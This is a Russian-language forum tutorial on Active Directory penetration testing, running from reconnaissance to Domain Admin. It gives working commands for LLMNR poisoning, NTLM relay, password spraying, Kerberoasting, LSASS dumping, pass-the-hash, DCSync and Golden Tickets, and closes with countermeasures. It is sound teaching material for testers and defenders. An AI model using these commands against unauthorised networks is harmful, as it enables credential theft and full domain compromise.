https://forum.antichat.xyz/attachmen...ccc9f26ad8.png
Большинство русскоязычных материалов по пентесту Active Directory обрывается на стадии разведки или превращается в безликий чек-лист без единой команды. Знакомо? Я провёл десятки внутренних пентестов, где путь от доменного пользователя до Domain Admin занимал от пятнадцати минут до двух дней - и каждый раз цепочка была воспроизводима. Пятнадцать минут - это не хвастовство, а показатель того, насколько типовые мисконфиги до сих пор живут в продакшене. Здесь разберу полный цикл AD exploitation (для общей карты техник и обзора инструментов -
пентест Active Directory от разведки до Domain Admin):
от первого nmap-скана до DCSync, с конкретными командами, объяснением флагов и разбором ошибок, на которых спотыкаются даже опытные пентестеры.
Лабораторная среда: что поднять перед началом
Прежде чем запускать BloodHound на продакшен-домене клиента, отработайте цепочку на стенде. Лаба, которую я использую - минимальная, но покрывает все нужные сценарии:
- DC01 - Windows Server 2022 с ролью AD DS, DNS. Домен:
- SRV01 - Windows Server 2019, член домена. На нём крутится сервис с SPN (для Kerberoasting)
- WS01 - Windows 10/11 Pro, рабочая станция домена
- Attacker - Kali Linux / Parrot с установленными Impacket, BloodHound, Responder, NetExec (nxc, активный форк CrackMapExec), Rubeus
Намеренно уязвимая конфигурация - задаём через PowerShell на DC01:
Код:
Код:
# Включаем LLMNR (по умолчанию включён, но убедимся)
# GPO: Computer Configuration -> Administrative Templates -> Network -> DNS Client
# "Turn off multicast name resolution" = Not Configured
# Создаём сервисный аккаунт с SPN и слабым паролем
New-ADUser -Name "svc_backup" -SamAccountName svc_backup -AccountPassword (ConvertTo-SecureString "Backup2023!" -AsPlainText -Force) -Enabled $true
Set-ADUser -Identity svc_backup -ServicePrincipalNames @{Add="MSSQLSvc/srv01.lab.local:1433"}
# Отключаем Kerberos Pre-Authentication для одного пользователя (AS-REP Roasting)
Set-ADAccountControl -Identity "testuser" -DoesNotRequirePreAuth $true
# Добавляем ACL abuse: пользователь может менять пароль другому
$targetDN = (Get-ADUser svc_backup).DistinguishedName
$attackerSID = (Get-ADUser "youruser").SID
$acl = Get-Acl "AD:\$targetDN"
# ACE 1: ForceChangePassword (для сценария сброса пароля)
# 5-параметровый конструктор: (identity, adRights, type, objectType, inheritanceType)
$ace1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($attackerSID, "ExtendedRight", "Allow", [GUID]"00299570-246d-11d0-a768-00aa006e0529", "None")
$acl.AddAccessRule($ace1)
# ACE 2: GenericWrite (для сценария Targeted Kerberoasting - запись SPN)
$ace2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($attackerSID, "GenericWrite", "Allow", "None")
$acl.AddAccessRule($ace2)
Set-Acl "AD:\$targetDN" $acl
Такая лаба покрывает Kerberoasting, AS-REP Roasting, LLMNR poisoning, ACL abuse и lateral movement - хватит за глаза для отработки полного цикла.
Фаза 1 - AD разведка: инструменты и техники перечисления
Сетевая разведка: находим контроллер домена
Первое действие после подключения к внутренней сети - определить, где стоит Domain Controller. Контроллер домена слушает характерный набор портов, и nmap с правильными флагами найдёт его за секунды:
Bash:
Код:
# Быстрый скан подсети на ключевые порты AD
nmap -sS -T4 -p
53,88
,135,139,389,445,636,3268,3269
10.10
.10.0/24 --open -oG dc_scan.txt
# Порт 88 (Kerberos) + 389 (LDAP) = почти гарантированно DC
grep
"88/open.*389/open"
dc_scan.txt
Почему именно эти порты: 88 - Kerberos (только DC), 389 - LDAP, 636 - LDAPS, 3268/3269 - Global Catalog. Если видите все пять на одном хосте - перед вами контроллер домена. Тут не угадаешь неправильно.
Дополнительная верификация через DNS:
Bash:
Код:
# Запрос SRV-записей - работает даже без учётных данных
nslookup
-type
=
srv _ldap._tcp.dc._msdcs.lab.local
10.10
.10.1
Перечисление без учётных данных
Даже до получения первого пароля можно вытянуть массу информации. В black-box сценарии начинаем с проверки анонимного доступа к LDAP и SMB-шарам - удивительно, как часто это работает.
Bash:
Код:
# Проверка анонимного LDAP bind
ldapsearch -x -H ldap://10.10.10.1 -b
"DC=lab,DC=local"
-s base
"(objectclass=*)"
2>
/dev/null
# enum4linux-ng - комплексная разведка без аутентификации
enum4linux-ng -A
10.10
.10.1
# Проверка анонимного доступа к SMB-шарам
smbclient -L //10.10.10.1 -N
Особое внимание - шарам
и
. В них иногда валяются скрипты развёртывания с хардкоженными паролями. Я лично находил в
файлы
от старых GPP-политик с зашифрованными паролями (ключ шифрования Microsoft сама опубликовала - расшифровка тривиальна через
). Подарок, который продолжает дарить.
BloodHound: строим граф атаки
Вот где пентест Active Directory превращается из набора команд в стратегию. BloodHound визуализирует связи между объектами домена и автоматически находит пути эскалации привилегий. На практике это выглядит так: низкопривилегированный пользователь может записывать данные в сервисный аккаунт из группы Backup Operators, а тот ведёт напрямую к Domain Admin. Руками такую цепочку через три-четыре промежуточных объекта - хрен найдёшь.
Сбор данных - коллектором SharpHound (с Windows-хоста) или
(с Linux):
Bash:
Код:
# Сбор данных с Linux (нужны учётные данные доменного пользователя)
bloodhound-python -u
'youruser'
-p
'Password1'
-d lab.local -ns
10.10
.10.1 -c All
# SharpHound с Windows (из-под доменного пользователя)
# .\SharpHound.exe -c All --zipfilename loot.zip
Флаг
собирает сессии, ACL, группы, трасты, контейнеры - полный датасет. После загрузки JSON-файлов в интерфейс BloodHound используйте встроенные запросы:
- «Find Shortest Paths to Domain Admins» - отправная точка любого анализа
- «Find AS-REP Roastable Users» - пользователи без Pre-Authentication
- «Find Kerberoastable Users» - аккаунты с SPN
- «Shortest Paths from Owned Principals» - после пометки захваченных аккаунтов показывает кратчайший путь дальше
Лично у меня привычка - помечать каждый захваченный аккаунт как «Owned» и пересчитывать пути. Хаотичный пентест превращается в целенаправленное продвижение по графу. Работаешь не вслепую, а по карте.
Фаза 2 - Получение первого доступа в домене
LLMNR/NBT-NS Poisoning с Responder
Классика active directory pentest, которая работает в большинстве корпоративных сетей до сих пор. Техника маппится на MITRE ATT&CK T1557.001 (LLMNR/NBT-NS Poisoning and SMB Relay) - тактики Credential Access и Collection.
Суть: Windows-машины при неудачном DNS-резолве отправляют широковещательные запросы LLMNR/NBT-NS. Responder отвечает на них и перехватывает NTLMv2-хеши. Тупо сидим и ждём, пока кто-то опечатается в имени шары.
Bash:
Код:
# Запуск Responder на интерфейсе eth0
sudo
responder -I eth0 -wrfv
# Ждём. Когда пользователь откроет несуществующую шару или браузер попытается
# найти WPAD - поймаем хеш:
# [+] Listening for events...
# [SMB] NTLMv2-SSP Client : 10.10.10.50
# [SMB] NTLMv2-SSP Username : LAB\jsmith
# [SMB] NTLMv2-SSP Hash : jsmith::LAB:1122334455667788:AB9C...
Полученный хеш - в Hashcat:
Bash:
Код:
# Режим 5600 = NTLMv2
hashcat -m
5600
hash.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
Если SMB Signing не включён на целевых хостах (а на рабочих станциях он по умолчанию отключён), вместо взлома хеша можно сделать NTLM Relay - передать аутентификацию на другой хост:
Bash:
Код:
# Найти хосты без SMB Signing
netexec smb
10.10
.10.0/24 --gen-relay-list targets_nosigning.txt
# NTLM Relay через Impacket
impacket-ntlmrelayx -tf targets_nosigning.txt -smb2support
Password Spraying через CrackMapExec
Когда Responder не приносит результатов (сеть сегментирована, LLMNR отключён), переходим к password spraying. Главное - не заблокировать аккаунты, иначе утром вас будет искать не только SOC:
Bash:
Код:
# Сначала получаем парольную политику (netexec - активный форк архивированного crackmapexec)
netexec smb
10.10
.10.1 -u
''
-p
''
--pass-pol
# Если lockout threshold = 5 попыток, делаем НЕ БОЛЕЕ 2-3 попыток на аккаунт
# Собираем список пользователей через Kerbrute
# Сначала определите формат именования (через OSINT, LinkedIn, email-формат),
# затем сгенерируйте целевой список (например, через namemash.py).
# Использование общих интернет-списков (xato-net-10M) создаст огромный шум в логах.
kerbrute userenum --dc
10.10
.10.1 -d lab.local generated_users.txt
# Спреим один пароль по всем пользователям
netexec smb
10.10
.10.1 -u users.txt -p
'Company2025!'
--no-bruteforce
В реальных engagement'ах комбинации вида
Код:
Company + сезон + год
(
,
) срабатывают пугающе часто. Люди предсказуемы - и это лучший друг пентестера.
AS-REP Roasting без учётных данных
Если BloodHound или перечисление LDAP показали пользователей с отключённой Kerberos Pre-Authentication, можно запросить TGT и взломать его офлайн:
Bash:
Код:
# Через Impacket (без учётных данных - достаточно знать имена пользователей)
impacket-GetNPUsers lab.local/ -usersfile users.txt -dc-ip
10.10
.10.1 -format hashcat -outputfile asrep_hashes.txt
# Взлом полученных хешей
hashcat -m
18200
asrep_hashes.txt /usr/share/wordlists/rockyou.txt
Режим 18200 в Hashcat = Kerberos 5 AS-REP etype 23. AS-REP Roasting встречается реже, чем Kerberoasting, но когда встречается - пароли сервисных аккаунтов зачастую слабые. Кто-то когда-то снял галочку Pre-Auth «для совместимости» и забыл. Бывает.
Фаза 3 - Privilege Escalation в Active Directory
Kerberoasting: атака на сервисные аккаунты
Kerberoasting - одна из самых результативных атак при AD exploitation. Любой доменный пользователь может запросить TGS-тикет для сервисного аккаунта с SPN, а тикет зашифрован хешем пароля этого аккаунта. Расшифровал - получил пароль.
Bash:
Код:
# Через Impacket (нужны любые доменные учётные данные)
impacket-GetUserSPNs lab.local/jsmith:
'Password1'
-dc-ip
10.10
.10.1 -request -outputfile kerberoast_hashes.txt
# Что увидим:
# ServicePrincipalName Name MemberOf PasswordLastSet
# -------------------------------- ----------- ----------------------------- -------------------
# MSSQLSvc/srv01.lab.local:1433 svc_backup CN=Backup Operators,CN=... 2024-01-15 10:30:22
# Взлом
hashcat -m
13100
kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
Режим 13100 = Kerberos 5 TGS-REP etype 23 (RC4). Если домен использует AES-шифрование для TGS (etype 17/18), это режимы 19600/19700 - взлом будет значительно медленнее, но не невозможен.
Обратите внимание на поле
. Если пароль установлен в 2024 году - ладно. Но я видел сервисные аккаунты с паролями от 2016-го. Восемь лет один и тот же
. Администраторы ставят на сервисные аккаунты простые пароли и забывают их менять годами - Kerberoasting атака именно на этом и паразитирует.
ACL Abuse: эскалация через права на объекты AD
Граф BloodHound часто показывает неочевидные пути через ACL-привилегии. Вот наиболее опасные права и что с ними делать:
ПравоЧто даёт атакующемуКак эксплуатироватьGenericAllПолны й контроль над объектомСброс пароля, запись SPN, добавление в группуGenericWriteЗапись произвольных атрибутовЗапись SPN → Kerberoasting целевого аккаунтаWriteDaclИзменение ACL объектаВыдать себе GenericAll, затем злоупотребитьForceChangePasswordСб ос пароля без знания текущегоПрямой сброс через net rpcWriteOwnerСмена владельца объектаСтать владельцем → изменить ACL
Пример эскалации через GenericWrite - ставим целевому пользователю SPN и делаем Targeted Kerberoasting:
Bash:
Код:
# Через PowerView (из-под скомпрометированного пользователя с правом GenericWrite)
# Set-DomainObject -Identity svc_backup -Set @{serviceprincipalname='nonexist/YOURFAKESPN'}
# Или через bloodyAD с Linux (установка SPN на целевой аккаунт)
bloodyAD -u jsmith -p
'Password1'
-d lab.local --host
10.10
.10.1
set
object svc_backup servicePrincipalName -v
'nonexist/YOURFAKESPN'
# Далее запрашиваем TGS для этого SPN и ломаем офлайн
impacket-GetUserSPNs lab.local/jsmith:
'Password1'
-dc-ip
10.10
.10.1 -request -outputfile targeted_kerberoast.txt
Фаза 4 - Lateral Movement в AD-среде
Pass-the-Hash атака через Impacket
Pass-the-Hash - техника, при которой NTLM-хеш используется вместо пароля для аутентификации. Получили хеш (например, из дампа LSASS на скомпрометированном хосте) - ломать его не надо, можно сразу идти дальше.
Bash:
Код:
# Дамп NTLM-хешей из памяти LSASS (нужны локальные админские права)
# -M lsassy - извлекает NTLM-хеши доменных аккаунтов с активными сессиями (пригодны для PtH)
# --sam - дампит локальные NTLM-хеши из SAM (пригодны для PtH на локальных аккаунтах)
# --lsa - дампит LSA secrets: кэшированные доменные учётки в формате DCC2 (НЕ пригодны для PtH, только брут hashcat -m 2100) и plaintext-пароли сервисов
netexec smb
10.10
.10.50 -u
'jsmith'
-p
'Password1'
-M lsassy
# Получаем NTLM-хеш доменного аккаунта: aad3b435b51404eeaad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f
# Pass-the-Hash через psexec.py
impacket-psexec lab.local/administrator@10.10.10.50 -hashes aad3b435b51404eeaad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f
Альтернативы
- для снижения шума:
Bash:
Код:
# wmiexec - не создаёт сервис, работает через WMI
impacket-wmiexec lab.local/administrator@10.10.10.50 -hashes :7a21990fcd3d759941e45c490f143d5f
# smbexec - создаёт сервис, но выполнение через cmd.exe
impacket-smbexec lab.local/administrator@10.10.10.50 -hashes :7a21990fcd3d759941e45c490f143d5f
Каждый метод оставляет разные артефакты:
создаёт сервис и пишет файл на диск,
работает через WMI и светится в логах WMI,
создаёт временный сервис. Выбор зависит от того, насколько злой SOC у клиента. Лично я начинаю с
- он тише всех.
Pass-the-Ticket с Rubeus
Если работаете с Windows-хоста внутри домена, Rubeus позволяет извлекать и инжектить Kerberos-тикеты:
Код:
Код:
# Извлечение всех тикетов из памяти (требует привилегий)
Rubeus.exe triage
Rubeus.exe dump /nowrap
# Инжект тикета в текущую сессию
Rubeus.exe ptt /ticket:doIFMj...base64...
# После инжекта - доступ к ресурсам от имени владельца тикета
dir \\DC01.lab.local\C$
Pass-the-Ticket отличается от Pass-the-Hash тем, что работает с Kerberos-тикетами, а не NTLM-хешами. Это критично в средах, где NTLM отключён или ограничен - а такое всё чаще встречается в зрелых инфраструктурах.
Фаза 5 - Domain Dominance: DCSync и критические CVE
DCSync атака - получение всех хешей домена
DCSync - атака, при которой злоумышленник имитирует контроллер домена и запрашивает репликацию паролей. Для этого нужны права
Код:
Replicating Directory Changes
и
Код:
Replicating Directory Changes All
- они есть у Domain Admins, Enterprise Admins и аккаунтов DC.
Bash:
Код:
# DCSync через secretsdump (Impacket)
impacket-secretsdump lab.local/administrator:
'AdminPass1'
@10.10.10.1
# Или с Pass-the-Hash
impacket-secretsdump lab.local/administrator@10.10.10.1 -hashes :7a21990fcd3d759941e45c490f143d5f
# Вывод:
#[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
Хеш
- ключ ко всему домену. С ним можно создать Golden Ticket и получать доступ к любому ресурсу неограниченно долго. Это конечная точка пентеста Active Directory. Game over.
Bash:
Код:
# Создание Golden Ticket через Impacket
impacket-ticketer -nthash e19ccf75ee54e06b06a5907af13cef42 -domain-sid S-1-5-21-XXXXXXXXXX -domain lab.local Administrator
# Использование
export
KRB5CCNAME
=
Administrator.ccache
impacket-psexec lab.local/Administrator@DC01.lab.local -k -no-pass
Критические CVE для AD-пентеста
Перед эксплуатацией мисконфигов всегда проверяю, не уязвим ли домен к известным CVE. Ниже - те, что я проверяю на каждом engagement'е:
Zerologon (CVE-2020-1472) - NVD содержит только CNA-оценку от Microsoft: CVSS 5.5 (MEDIUM), вектор:
Код:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- эта оценка явно не соответствует описанному в NVD вектору атаки (неаутентифицированный сетевой доступ через MS-NRPC). NIST не предоставил собственную оценку в NVD. Microsoft в собственном advisory MSRC оценивает уязвимость как CVSS 10.0 (CRITICAL) с вектором
Код:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
(NVD CVSS: 5.5 MEDIUM - CNA-оценка Microsoft, вероятно ошибочная; Microsoft MSRC CVSS: 10.0 CRITICAL). Именно оценку MSRC используют Secura и сообщество безопасности, поскольку она соответствует фактическому сценарию эксплуатации: неаутентифицированный атакующий по сети через MS-NRPC может получить доступ уровня Domain Admin к контроллеру домена. Уязвимость включена в каталог CISA Known Exploited Vulnerabilities. Затрагивает Windows Server 2008 R2, 2012, 2012 R2, 2016, 2019, а также Semi-Annual Channel версии 1903, 1909, 2004, 20H2 (согласно Microsoft advisory; NVD CPE-список может быть неполным).
PrintNightmare (CVE-2021-34527) - CVSS 8.8 (HIGH), вектор:
Код:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
. Удалённое выполнение кода через Windows Print Spooler. Атакующий с низкими привилегиями (PR:L) может выполнить произвольный код с правами SYSTEM. Затрагивает Windows 10 (1507, 1607, 1809, 20H2, 21H2) и серверные версии.
PetitPotam (CVE-2021-36942 / CVE-2022-26925) - CVE-2021-36942: CVSS 7.5 (HIGH), Windows LSA Spoofing - частичный патч для техники PetitPotam, закрывающий вызов EfsRpcOpenFileRaw; другие EFS RPC функции могут оставаться доступными. CVE-2022-26925: CVSS 8.1 (HIGH), вектор:
Код:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
, CWE-306 (Missing Authentication for Critical Function) - отдельная уязвимость LSA Spoofing, требующая высокой сложности атаки (AC:H). CVE-2021-36942 позволяет неаутентифицированному атакующему принудить DC к NTLM-аутентификации (impact только на конфиденциальность - C:H, без I/A). Сама по себе это утечка NTLM-хеша; для полной компрометации домена нужна связка с NTLM Relay на AD CS (ESC8) или другой сервис. CVE-2022-26925 - отдельная уязвимость LSA Spoofing с аналогичным вектором принуждения, но с impact на C и I (AC:H). Обе затрагивают Windows Server 2008–2022.
NoPac (CVE-2021-42278 + CVE-2021-42287) - связка из двух уязвимостей, обе с CVSS 7.5 (HIGH), вектор:
Код:
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
. CVE-2021-42278 - подмена SamAccountName, CVE-2021-42287 - elevation of privilege через Kerberos PAC. Эксплуатация требует низких привилегий (PR:L), но высокой сложности (AC:H). Затрагивает Windows Server 2008–2022.
Certifried (CVE-2022-26923) - CVSS 8.8 (HIGH), вектор:
Код:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
, CWE-295 (Improper Certificate Validation). Elevation of privilege через Active Directory Certificate Services. Низкие привилегии достаточны для эксплуатации. Затрагивает Windows 10 и серверные версии.
BlueKeep (CVE-2019-0708) - не AD-специфичная, но полезна для initial access/lateral movement. CVSS 9.8 (CRITICAL), вектор:
Код:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
, CWE-416 (Use After Free). Удалённое выполнение кода через RDP без аутентификации. Согласно NVD, затрагивает Windows 7 и Windows Server 2008/2008 R2. Microsoft также выпустила внеплановые патчи для Windows XP и Server 2003, которые формально вышли из поддержки. Старая, но до сих пор встречается на непатченных серверах - особенно в сетях с «историческим наследием».
SMBGhost (CVE-2020-0796) - не AD-специфичная, но полезна для initial access/lateral movement. CVSS 10.0 (CRITICAL), вектор:
Код:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
, CWE-119 (Improper Restriction of Operations within the Bounds of a Memory Buffer). Удалённое выполнение кода через SMBv3. Без аутентификации, без взаимодействия пользователя, с выходом за границу Scope (S:C). Затрагивает Windows 10 1903/1909.
Проверка на уязвимости:
Bash:
Код:
# Zerologon - проверка через скрипт Secura (https://github.com/SecuraBV/CVE-2020-1472)
python3 zerologon_tester.py DC01
10.10
.10.1
# PrintNightmare - проверка доступности Print Spooler (не наличия патча)
netexec smb
10.10
.10.1 -u
'jsmith'
-p
'Password1'
-M printnightmare
# Для более точной проверки: rpcdump.py 10.10.10.1 | grep MS-RPRN
# PetitPotam - проверка без аутентификации
python3 PetitPotam.py -d lab.local
10.10
.10.100
10.10
.10.1
# (10.10.10.100 = ваш listener, 10.10.10.1 = DC)
Полный чек-лист пентеста AD: от разведки до DA
Сжатая версия всего, что описано выше, плюс моменты, которые часто упускают:
ФазаДействиеИнструментПри оритетРазведкаСкан портов 88, 389, 445nmapВысокийРазведкаПеречи ление пользователейenum4linux-ng, KerbruteВысокийРазведкаСбор данных для графа атакиBloodHound + SharpHoundВысокийРазведкаПрове рка парольной политикиNetExec --pass-polСреднийInitial AccessLLMNR/NBT-NS PoisoningResponderВысокийInitial AccessPassword SprayingNetExecСреднийInitial AccessAS-REP Roastingimpacket-GetNPUsersСреднийInitial AccessПроверка критических CVEMetasploit, PoC-скриптыВысокийPrivilege EscalationKerberoastingimpacket-GetUserSPNsВысокийPrivilege EscalationACL Abuse по графу BloodHoundPowerView, ImpacketВысокийPrivilege EscalationПоиск паролей в SYSVOL/GPPgpp-decrypt, smbclientСреднийPrivilege EscalationUnconstrained Delegation abuseRubeus monitorСреднийLateral MovementPass-the-Hashimpacket-psexec / wmiexecВысокийLateral MovementPass-the-TicketRubeus pttСреднийLateral MovementПоиск сессий DA на хостахBloodHound, NetExecВысокийDomain DominanceDCSyncimpacket-secretsdumpВысокийDomain DominanceGolden Ticketimpacket-ticketerПо необходимостиПост-эксплуатацияДамп NTDS.DITimpacket-secretsdumpПо необходимости
Рекомендации по защите от эскалации привилегий
Каждый вектор атаки из этого гайда имеет конкретные контрмеры. Вот что реально работает - проверено на десятках engagement'ов:
Против LLMNR/NBT-NS Poisoning: отключите LLMNR через GPO (
Код:
Computer Configuration → Administrative Templates → Network → DNS Client → Turn off multicast name resolution = Enabled
). Отключите NBT-NS на сетевых интерфейсах. Включите SMB Signing на всех хостах. Три действия - и Responder становится бесполезным.
Против Kerberoasting: используйте групповые управляемые сервисные аккаунты (gMSA) с автоматической ротацией 120-символьных паролей. Для обычных сервисных аккаунтов - пароли минимум 25 символов. Мониторьте запросы TGS для аккаунтов с SPN (Event ID 4769 с типом шифрования 0x17 = RC4).
Против DCSync: регулярно аудируйте права
Код:
Replicating Directory Changes
и
Код:
Replicating Directory Changes All
- они должны быть только у контроллеров домена и стандартных групп. Мониторьте Event ID 4662 с GUID
Код:
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
(DS-Replication-Get-Changes) и
Код:
1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
(DS-Replication-Get-Changes-All) от аккаунтов, не являющихся контроллерами домена - именно эти два права необходимы для DCSync. Дополнительно можно мониторить
Код:
89e95b76-444d-4c62-991a-0facbeda640c
(DS-Replication-Get-Changes-In-Filtered-Set), который относится к репликации на RODC.
Против Pass-the-Hash: внедрите Credential Guard (Windows 10+/Server 2016+), ограничьте привилегированные учётные записи tier-моделью (не логиньтесь DA-аккаунтом на рабочие станции - серьёзно, это до сих пор самая частая ошибка), используйте LAPS для управления паролями локальных администраторов.
Заключение
Пентест Active Directory - это цепочка, где каждый шаг создаёт возможность для следующего. Responder ловит хеш → Hashcat извлекает пароль → BloodHound показывает путь через ACL к сервисному аккаунту → Kerberoasting даёт хеш привилегированного аккаунта → lateral movement через Impacket приводит на хост с сессией Domain Admin → DCSync завершает цепочку.
Начните с лабораторного стенда - конфиг в начале статьи поднимается за час. Отработайте каждую фазу отдельно, затем объедините в полную цепочку. Если вы дочитали до этого места и ещё не развернули лабу - сделайте это сегодня. Потренировавшись на кошках, будете чувствовать себя увереннее на реальном engagement'е. Теория без практики в AD-пентесте не стоит ничего.